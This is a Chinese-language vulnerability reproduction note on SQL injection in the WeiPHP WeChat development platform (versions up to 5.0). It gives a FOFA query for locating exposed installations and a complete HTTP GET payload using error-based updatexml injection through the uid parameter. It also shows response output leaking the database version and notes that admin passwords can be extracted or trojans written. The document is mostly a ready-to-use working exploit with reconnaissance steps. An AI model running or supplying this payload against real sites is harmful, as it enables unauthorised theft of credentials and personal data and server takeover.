

# W9-2WeiPHP-微信开发平台-SQL

## 漏洞描述：

weiphp 微信开发平台 send\_by\_group、wp\_where、get\_package\_template等接口处存在 SQL 注入漏洞，攻击者利用此漏洞可获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

## 影响版本：

weiphp <=5.0

## 网站图片：



## 网络测绘：

### fofa语法：

FOFA: app="WeiPHP"

## 漏洞复现：

### payload:

```
GET /public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)+and+updatexml(1,concat(0x7e,version(),0x7e),1)--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
```

### 效果图：

查询当前数据库版本

Request

```
1 GET /public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)+and+updatexml(1,concat(0x7e,version(),0x7e),1)--+ HTTP/1.1
2 Host: your-ip
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 Accept-Encoding: gzip
5 Connection: close
```

Responses

https 41140bytes / 108ms

```
233 .....</div>
234 .....<div><h1>SQLSTATE[HY000]:<br>38-log~'</h1></div>
235 .....</div>
236 .....
237 .....</div>
238 .....<div class="source-code">
239 .....<pre class="prettyprint lang-pt
      class="line-678"><code>.....
240 .....</code></li><li class="line-679"><code>
241 .....</code></li><li class="line-680"><code>.....
242 .....</code></li><li class="line-681"><code>.....
      $procedure);
243 .....</code></li><li class="line-682"><code>.....
244 .....</code></li><li class="line-683"><code>.....
245 .....</code></li><li class="line-684"><code>.....
      query($sql,$bind,$master,$pdo);
246 .....</code></li><li class="line-685"><code>.....
```